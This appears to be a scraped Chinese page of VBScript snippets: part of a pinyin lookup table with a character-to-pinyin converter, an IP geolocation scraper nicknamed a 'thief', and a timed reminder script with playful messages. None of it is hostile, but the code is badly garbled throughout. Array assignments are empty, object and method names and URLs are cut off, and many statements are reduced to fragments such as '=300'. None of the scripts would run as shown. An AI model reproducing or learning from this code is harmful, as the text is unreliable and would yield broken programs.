"men",-15419

"meng",-15416

"mi",-15408

"mian",-15394

"miao",-15385

"mie",-15377

"min",-15375

"ming",-15369

"miu",-15363

"mo",-15362

"mou",-15183

"mu",-15180

"na",-15165

"nai",-15158

"nan",-15153

"nang",-15150

"nao",-15149

"ne",-15144

"nei",-15143

"nen",-15141

"neng",-15140

"ni",-15139

"nian",-15128

"niang",-15121

"niao",-15119

"nie",-15117

"nin",-15110

"ning",-15109

"niu",-14941

"nong",-14937

"nu",-14933

"nv",-14930

"nuan",-14929

"nue",-14928

"nuo",-14926

"o",-14922

"ou",-14921

"pa",-14914

"pai",-14908

"pan",-14902

"pang",-14894

"pao",-14889

"pei",-14882

"pen",-14873

"peng",-14871

"pi",-14857

"pian",-14678

"piao",-14674

"pie",-14670

"pin",-14668

"ping",-14663

"po",-14654

"pu",-14645

"qi",-14630

"qia",-14594

"qian",-14429

"qiang",-14407

"qiao",-14399

"qie",-14384

"qin",-14379

"qing",-14368

"qiong",-14355

"qiu",-14353

"qu",-14345

"quan",-14170

"que",-14159

"qun",-14151

"ran",-14149

"rang",-14145

"rao",-14140

"re",-14137

"ren",-14135

"reng",-14125

"ri",-14123

"rong",-14122

"rou",-14112

"ru",-14109

"ruan",-14099

"rui",-14097

"run",-14094

"ruo",-14092

"sa",-14090

"sai",-14087

"san",-14083

"sang",-13917

"sao",-13914

"se",-13910

"sen",-13907

"seng",-13906

"sha",-13905

"shai",-13896

"shan",-13894

"shang",-13878

"shao",-13870

"she",-13859

"shen",-13847

"sheng",-13831

"shi",-13658

"shou",-13611

"shu",-13601

"shua",-13406

"shuai",-13404

"shuan",-13400

"shuang",-13398

"shui",-13395

"shun",-13391

"shuo",-13387

"si",-13383

"song",-13367

"sou",-13359

"su",-13356

"suan",-13343

"sui",-13340

"sun",-13329

"suo",-13326

"ta",-13318

"tai",-13147

"tan",-13138

"tang",-13120

"tao",-13107

"te",-13096

"teng",-13095

"ti",-13091

"tian",-13076

"tiao",-13068

"tie",-13063

"ting",-13060

"tong",-12888

"tou",-12875

"tu",-12871

"tuan",-12860

"tui",-12858

"tun",-12852

"tuo",-12849

"wa",-12838

"wai",-12831

"wan",-12829

"wang",-12812

"wei",-12802

"wen",-12607

"weng",-12597

"wo",-12594

"wu",-12585

"xi",-12556

"xia",-12359

"xian",-12346

"xiang",-12320

"xiao",-12300

"xie",-12120

"xin",-12099

"xing",-12089

"xiong",-12074

"xiu",-12067

"xu",-12058

"xuan",-12039

"xue",-11867

"xun",-11861

"ya",-11847

"yan",-11831

"yang",-11798

"yao",-11781

"ye",-11604

"yi",-11589

"yin",-11536

"ying",-11358

"yo",-11340

"yong",-11339

"you",-11324

"yu",-11303

"yuan",-11097

"yue",-11077

"yun",-11067

"za",-11055

"zai",-11052

"zan",-11045

"zang",-11041

"zao",-11038

"ze",-11024

"zei",-11020

"zen",-11019

"zeng",-11018

"zha",-11014

"zhai",-10838

"zhan",-10832

"zhang",-10815

"zhao",-10800

"zhe",-10790

"zhen",-10780

"zheng",-10764

"zhi",-10587

"zhong",-10544

"zhou",-10533

"zhu",-10519

"zhua",-10331

"zhuai",-10329

"zhuan",-10328

"zhuang",-10322

"zhui",-10315

"zhun",-10309

"zhuo",-10307

"zi",-10296

"zong",-10281

"zou",-10274

"zu",-10270

"zuan",-10262

"zui",-10260

"zun",-10256

"zuo",-10254

function g(num)

if num>0 and num<160 then

g=chr(num)

else

if num<-20319 or num>-10247 then

g=""

else

a=

b=

for i=-1 to 0 step -1

if a(i)<=num then exit for

next

g=b(i)

end if

end if

end function

function c(str)

c=""

for i=1 to len(str)

c=c&g(asc(mid(str,i,1)))

next

end function

while ex<>"exit"

ex=inputbox(c(ex),"字符转拼音",ex)

wend

vbs版IP地理位置查询小偷 :

vbs ip查询小偷,可以获得ip的地理位置的代码

msg="请输入你要查询的IP或域名:"

IP=Inputbox(msg,"IP地理位置查询小偷")

If IP = "" Then IP = "127.0.0.1"

url = "/?q="& IP &""

Body = getHTTPPage(url)

Set Re = New RegExp

n = "(查询结果为:.+)"

Set Matches = e(Body)

If >0 Then Body = Matches(0)

'n = "[[sS]*]"

'Body = e(Body, "")

' IP & Body

Set oXMLHttpRequest=Nothing

Set objExplorer = Object("ation")

te "about:blank"

r = 0

Bar = 0

e = 1

=300

=400

=400

ble=0

TML =IP & Body

'a "text", IP &

Body

Set objExplorer=nothing

'函数区

Function getHTTPPage(Path)

t = GetBody(Path)

getHTTPPage = BytesToBstr(t, "UTF-8")

End Function

Function GetBody(url)

On Error Resume Next

Set Retrieval = CreateObject("P")

With Retrieval

.Open "Get", url, False, "", ""

.Send

GetBody = .ResponseBody

End With

Set Retrieval = Nothing

End Function

Function BytesToBstr(Body, Cset)

Dim objstream

Set objstream = CreateObject("")

= 1

= 3

Body

on = 0

= 2

t = Cset

BytesToBstr = xt

Set objstream = Nothing

End Function

超级厉害的VBS定时提醒脚本:

这个是我见过的最有特色的脚本提醒程序了,时间|提示语,具体使用方法可以参考例子

'/*=========================================================================

' * Intro 定时提醒,格式:时间|提示语,具体使用方法可以参考例子

' * FileName

' * Author yongfa365

' * Version v1.0

' * WEB

' * Email yongfa365[at]

' * FirstWrite /Item/

' * MadeTime 2008-06-18 19:26:32

' * LastModify 2008-06-18 19:26:32

'

*==========================================================================*/

tx = True

used = ""

t = ""

'■■■■■■■■■■■■■■可修改区域开始■■■■■■■■■■■■■■

t = t & "|" & "10:00:00|hello,hi,是美女不!"

t = t & "|" & "11:30:00|美女,快吃饭了!"

t = t & "|" & "14:00:00|困不困?困了就休息会,注意关门,小心被偷窥哦,哇嘎嘎"

t = t & "|" & "16:30:00|想帅哥了吧,笑一笑^-^"

t = t & "|" & "17:30:00|好像要下班了哦。"

t = t & "|" & "18:00:00|帅哥还没回家?快提醒下"

t = t & "|" & "22:30:00|哥哥,备份当前数据,时间要到了。"

'■■■■■■■■■■■■■■可修改区域结束■■■■■■■■■■■■■■

t = Right(t, Len(t) -1)

Do While tx

10000'10秒种检测一次

tixing()

Loop